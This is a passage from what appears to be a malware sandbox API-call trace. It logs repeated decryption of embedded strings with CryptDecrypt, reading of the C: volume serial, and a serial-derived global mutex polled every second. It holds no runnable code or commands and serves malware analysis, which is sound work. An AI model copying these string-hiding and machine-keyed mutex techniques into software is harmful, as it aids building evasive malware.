lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0271.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1171a5d, lpParameter=0x39fdfc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0271.698] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0xffffffff) Thread: id = 89 os_tid = 0x568 [0266.644] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c14a0 [0266.644] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x7d7460) returned 1 [0266.644] CryptSetKeyParam (hKey=0x7d7460, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0266.644] CryptDecrypt (in: hKey=0x7d7460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0xbcf6e4 | out: pbData=0x1c14a0, pdwDataLen=0xbcf6e4) returned 1 [0266.644] CryptDestroyKey (hKey=0x7d7460) returned 1 [0266.644] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c14c8 [0266.644] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c14f0 [0266.644] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c1518 [0266.644] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x7d7460) returned 1 [0266.644] CryptSetKeyParam (hKey=0x7d7460, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0266.644] CryptDecrypt (in: hKey=0x7d7460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1518, pdwDataLen=0xbcf6bc | out: pbData=0x1c1518, pdwDataLen=0xbcf6bc) returned 1 [0266.644] CryptDestroyKey (hKey=0x7d7460) returned 1 [0266.644] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1518 | out: hHeap=0x1c0000) returned 1 [0266.645] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.645] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14f0 | out: hHeap=0x1c0000) returned 1 [0266.645] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.645] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.645] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14c8 | out: hHeap=0x1c0000) returned 1 [0266.645] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c14a0 [0266.645] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x7d7460) returned 1 [0266.645] CryptSetKeyParam (hKey=0x7d7460, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0266.645] CryptDecrypt (in: hKey=0x7d7460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0xbcf718 | out: pbData=0x1c14a0, pdwDataLen=0xbcf718) returned 1 [0266.645] CryptDestroyKey (hKey=0x7d7460) returned 1 [0266.645] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c14e8 [0266.645] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0266.645] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x90 [0266.645] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0x0) returned 0x0 [0266.645] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.645] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14e8 | out: hHeap=0x1c0000) returned 1 [0266.645] ReleaseMutex (hMutex=0x90) returned 1 [0266.645] CloseHandle (hObject=0x90) returned 1 [0266.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1171ffe, lpParameter=0x1, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90 [0266.646] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c14a0 [0266.646] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x7d7460) returned 1 [0266.646] CryptSetKeyParam (hKey=0x7d7460, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0266.646] CryptDecrypt (in: hKey=0x7d7460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0xbcf6e4 | out: pbData=0x1c14a0, pdwDataLen=0xbcf6e4) returned 1 [0266.646] CryptDestroyKey (hKey=0x7d7460) returned 1 [0266.646] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c14c8 [0266.646] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c14f0 [0266.646] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c1518 [0266.647] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x7d7460) returned 1 [0266.647] CryptSetKeyParam (hKey=0x7d7460, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0266.647] CryptDecrypt (in: hKey=0x7d7460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1518, pdwDataLen=0xbcf6bc | out: pbData=0x1c1518, pdwDataLen=0xbcf6bc) returned 1 [0266.647] CryptDestroyKey (hKey=0x7d7460) returned 1 [0266.647] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1518 | out: hHeap=0x1c0000) returned 1 [0266.647] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.647] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14f0 | out: hHeap=0x1c0000) returned 1 [0266.647] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.647] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.647] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14c8 | out: hHeap=0x1c0000) returned 1 [0266.647] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c14a0 [0266.647] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x7d7460) returned 1 [0266.647] CryptSetKeyParam (hKey=0x7d7460, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0266.647] CryptDecrypt (in: hKey=0x7d7460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0xbcf718 | out: pbData=0x1c14a0, pdwDataLen=0xbcf718) returned 1 [0266.647] CryptDestroyKey (hKey=0x7d7460) returned 1 [0266.647] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c14e8 [0266.647] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0266.647] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x94 [0266.647] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x0 [0266.647] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.647] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14e8 | out: hHeap=0x1c0000) returned 1 [0266.647] ReleaseMutex (hMutex=0x94) returned 1 [0266.647] CloseHandle (hObject=0x94) returned 1 [0266.647] Sleep (dwMilliseconds=0x3e8) [0267.970] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c16d0 [0267.971] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x7e4ae8) returned 1 [0267.971] CryptSetKeyParam (hKey=0x7e4ae8, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0267.971] CryptDecrypt (in: hKey=0x7e4ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf6e4 | out: pbData=0x1c16d0, pdwDataLen=0xbcf6e4) returned 1 [0267.971] CryptDestroyKey (hKey=0x7e4ae8) returned 1 [0267.971] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c16f8 [0267.971] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c1720 [0267.971] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5550 [0267.971] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x7e4ae8) returned 1 [0267.971] CryptSetKeyParam (hKey=0x7e4ae8, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0267.971] CryptDecrypt (in: hKey=0x7e4ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5550, pdwDataLen=0xbcf6bc | out: pbData=0x1c5550, pdwDataLen=0xbcf6bc) returned 1 [0267.971] CryptDestroyKey (hKey=0x7e4ae8) returned 1 [0267.971] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0267.971] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0267.971] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1720 | out: hHeap=0x1c0000) returned 1 [0267.971] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0267.971] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0267.971] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16f8 | out: hHeap=0x1c0000) returned 1 [0267.971] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c16d0 [0267.971] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x7e4ae8) returned 1 [0267.971] CryptSetKeyParam (hKey=0x7e4ae8, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0267.971] CryptDecrypt (in: hKey=0x7e4ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf718 | out: pbData=0x1c16d0, pdwDataLen=0xbcf718) returned 1 [0267.971] CryptDestroyKey (hKey=0x7e4ae8) returned 1 [0267.971] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c1718 [0267.971] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0267.971] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x110 [0267.971] WaitForSingleObject (hHandle=0x110, dwMilliseconds=0x0) returned 0x0 [0267.971] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0267.971] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1718 | out: hHeap=0x1c0000) returned 1 [0267.971] ReleaseMutex (hMutex=0x110) returned 1 [0267.971] CloseHandle (hObject=0x110) returned 1 [0267.971] Sleep (dwMilliseconds=0x3e8) [0269.063] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c16d0 [0269.063] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806858) returned 1 [0269.063] CryptSetKeyParam (hKey=0x806858, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0269.063] CryptDecrypt (in: hKey=0x806858, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf6e4 | out: pbData=0x1c16d0, pdwDataLen=0xbcf6e4) returned 1 [0269.063] CryptDestroyKey (hKey=0x806858) returned 1 [0269.063] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c16f8 [0269.063] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c1720 [0269.063] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5550 [0269.063] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806858) returned 1 [0269.063] CryptSetKeyParam (hKey=0x806858, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0269.063] CryptDecrypt (in: hKey=0x806858, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5550, pdwDataLen=0xbcf6bc | out: pbData=0x1c5550, pdwDataLen=0xbcf6bc) returned 1 [0269.063] CryptDestroyKey (hKey=0x806858) returned 1 [0269.063] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0269.063] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0269.063] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1720 | out: hHeap=0x1c0000) returned 1 [0269.063] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0269.063] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0269.064] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16f8 | out: hHeap=0x1c0000) returned 1 [0269.064] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c16d0 [0269.064] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806858) returned 1 [0269.064] CryptSetKeyParam (hKey=0x806858, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0269.064] CryptDecrypt (in: hKey=0x806858, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf718 | out: pbData=0x1c16d0, pdwDataLen=0xbcf718) returned 1 [0269.064] CryptDestroyKey (hKey=0x806858) returned 1 [0269.064] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c1718 [0269.064] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0269.064] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x204 [0269.064] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x0 [0269.064] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0269.064] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1718 | out: hHeap=0x1c0000) returned 1 [0269.064] ReleaseMutex (hMutex=0x204) returned 1 [0269.064] CloseHandle (hObject=0x204) returned 1 [0269.064] Sleep (dwMilliseconds=0x3e8) [0270.201] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c16d0 [0270.201] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806a18) returned 1 [0270.201] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0270.201] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf6e4 | out: pbData=0x1c16d0, pdwDataLen=0xbcf6e4) returned 1 [0270.202] CryptDestroyKey (hKey=0x806a18) returned 1 [0270.202] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c16f8 [0270.202] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c1720 [0270.202] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5550 [0270.202] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806a18) returned 1 [0270.202] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0270.202] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5550, pdwDataLen=0xbcf6bc | out: pbData=0x1c5550, pdwDataLen=0xbcf6bc) returned 1 [0270.202] CryptDestroyKey (hKey=0x806a18) returned 1 [0270.202] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0270.202] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0270.202] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1720 | out: hHeap=0x1c0000) returned 1 [0270.202] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0270.202] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0270.202] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16f8 | out: hHeap=0x1c0000) returned 1 [0270.202] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c16d0 [0270.202] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806a18) returned 1 [0270.202] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0270.202] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf718 | out: pbData=0x1c16d0, pdwDataLen=0xbcf718) returned 1 [0270.202] CryptDestroyKey (hKey=0x806a18) returned 1 [0270.202] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c1718 [0270.202] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0270.202] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x28c [0270.202] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x0) returned 0x0 [0270.202] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0270.202] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1718 | out: hHeap=0x1c0000) returned 1 [0270.202] ReleaseMutex (hMutex=0x28c) returned 1 [0270.202] CloseHandle (hObject=0x28c) returned 1 [0270.202] Sleep (dwMilliseconds=0x3e8) [0271.466] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c16d0 [0271.466] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806a18) returned 1 [0271.466] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0271.466] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf6e4 | out: pbData=0x1c16d0, pdwDataLen=0xbcf6e4) returned 1 [0271.466] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.466] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c16f8 [0271.466] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c1720 [0271.466] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5550 [0271.466] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806a18) returned 1 [0271.466] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0271.466] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5550, pdwDataLen=0xbcf6bc | out: pbData=0x1c5550, pdwDataLen=0xbcf6bc) returned 1 [0271.466] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.466] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0271.466] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0271.466] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1720 | out: hHeap=0x1c0000) returned 1 [0271.466] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0271.466] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0271.467] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16f8 | out: hHeap=0x1c0000) returned 1 [0271.467] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c16d0 [0271.467] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806a18) returned 1 [0271.467] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0271.467] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xbcf718 | out: pbData=0x1c16d0, pdwDataLen=0xbcf718) returned 1 [0271.467] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.467] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c1718 [0271.467] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0271.467] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x28c [0271.467] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x0) returned 0x0 [0271.467] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0271.467] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1718 | out: hHeap=0x1c0000) returned 1 [0271.467] ReleaseMutex (hMutex=0x28c) returned 1 [0271.467] CloseHandle (hObject=0x28c) returned 1 [0271.467] Sleep (dwMilliseconds=0x3e8) [0272.679] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c65f0 [0272.679] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806d18) returned 1 [0272.680] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0272.680] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0xbcf6e4 | out: pbData=0x1c65f0, pdwDataLen=0xbcf6e4) returned 1 [0272.680] CryptDestroyKey (hKey=0x806d18) returned 1 [0272.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c6618 [0272.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c6640 [0272.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1cdb08 [0272.680] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806d18) returned 1 [0272.680] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0272.680] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1cdb08, pdwDataLen=0xbcf6bc | out: pbData=0x1cdb08, pdwDataLen=0xbcf6bc) returned 1 [0272.680] CryptDestroyKey (hKey=0x806d18) returned 1 [0272.680] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cdb08 | out: hHeap=0x1c0000) returned 1 [0272.680] ExpandEnvironmentStringsW (in: 